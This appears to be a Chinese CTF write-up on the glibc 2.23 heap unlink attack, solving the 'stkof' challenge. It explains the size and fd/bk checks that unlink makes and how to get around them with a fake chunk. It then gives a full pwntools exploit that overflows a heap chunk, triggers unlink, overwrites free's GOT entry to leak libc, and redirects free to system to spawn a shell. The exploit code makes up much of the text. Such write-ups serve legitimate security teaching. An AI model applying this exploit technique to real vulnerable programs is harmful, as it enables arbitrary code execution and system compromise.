當一個bin從記錄bin的雙向連結串列中被取下時,會觸發unlink。常見的比如:相鄰空閒bin進行合併,malloc_consolidate時。unlink的過程如下圖所示(來自CTFWIKI)主要包含3個步驟,就是這麼簡單。
下面看一下unlink的原始碼。
#安裝原始碼
apt install glibc-source
#下面目錄下有一個glibc-2.23.tar.xz
/usr/src/glibc/
#可以拷貝到understand中進行原始碼閱讀
size檢查
第一個要檢查的是需要解鏈bin的size。在堆中有兩個地方儲存了p的size。第一個是當前p->size。第二個是next_chunk§->prev_size。比較兩個大小。
fd和bk檢查
檢查p是否在雙向連結串列中。在雙向連結串列中有兩個指標指向p。第一個是FD->bk,第二個是BK->fd。
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
//第一個檢查
if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
//第二個檢查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
//完成上圖的unlink過程
//具體過程可以看原始碼
} \
}
要利用unlink首先要繞過前面提到的兩個檢查。繞過size檢查需要可以修改下一個chunk->prev_size。繞過fd和bk檢查需要能夠控制fd和bk。
利用條件
利用方法
效果
修改G_ptr=&G_ptr-0x18。如果能夠對G_ptr指向的空間進行修改,則可能導致任意地址讀寫。
這種情況在做題中出現的情況比較多。因為malloc是返回的指標如果儲存在bss段或者heap中則正好滿足利用條件2。
利用條件
利用方法
效果
修改G_ptr=&G_ptr-0x18。如果能夠對G_ptr指向的空間進行修改,則可能導致任意地址讀寫。
可以修改GOT表,沒有PIE,很好。
試執行,沒有輸出。
選單題只是沒有把選單列印出來。1是add。2是edit。3是free。4是todo沒有實際用途
add函數
add就是正常的add
edit函數
沒有驗證輸入的size大小,存在heap overflow
delete函數
這裡正好滿足第二種利用思路,bss段存在G_ptr指向堆的內容,且能修改下一個堆塊的prev_size和inuse位。
這裡還有一個問題就是緩衝區的問題。題目並沒有setbuf,所以IO緩衝區會在程式執行的時候在堆中進行申請。我們先連續建立3個0x20大小的chunk來檢視堆疊排布情況,方便後續unlink操作。如下圖,第一個申請的堆塊並沒有和後面幾個連續分佈,所以第一個堆塊不能用來做fakechunk。
建立堆塊
idx1用來解決IO快取的問題
idx2用來構造fakechunk和idx3來unlink
idx4用來防止和top chunk和並
head = 0x602140 #堆指標陣列
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
構造完成的堆空間分佈
0x602100儲存了note數量
0x602140儲存了指標陣列,索引從1開始
構造fakechunk
如下圖,黃框為構造的fakechunk
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
unlink
釋放第3個堆塊,觸發unlink。0x602150中的指標已經指向bss段的空間當中。通過修改陣列中的指標來達到任意地址寫的目的
leak libc
將heaparray[1]指標覆蓋為free_got,heaparray[2]指標覆蓋為puts_got
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
將free_got的值覆蓋為puts_plt。下次呼叫free時實際呼叫的是puts
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#實際呼叫的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))
getshell
修改free_got為system,並釋放內容為’/bin/sh’的堆塊來getshell。
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
from pwn import *
context.arch = 'amd64'
debug = 1
if debug:
context.log_level='debug'
context.terminal = ['terminator','-x','sh','-c']
p = process('./stkof')
elf = ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('node3.buuoj.cn',28755)
elf = ELF('./stkof')
libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')
def add(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
free(3)
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)
p.recvuntil('OK\n')
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
1.創造fakechunk,這裡針對64位元
presize=0
size= 原來size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10
2.覆蓋下一個chunk
presize = 原pre_size-0x10
size從0x91改為0x90
3.觸發unlink
free(chunk1)
chunk1會和前面的chunk0進行合併,斷鏈
fake_chunk->bk->fd = fake_chunk->fd->bk
&G_ptr = &G_ptr-0x18
參考連結:ctfwiki unlink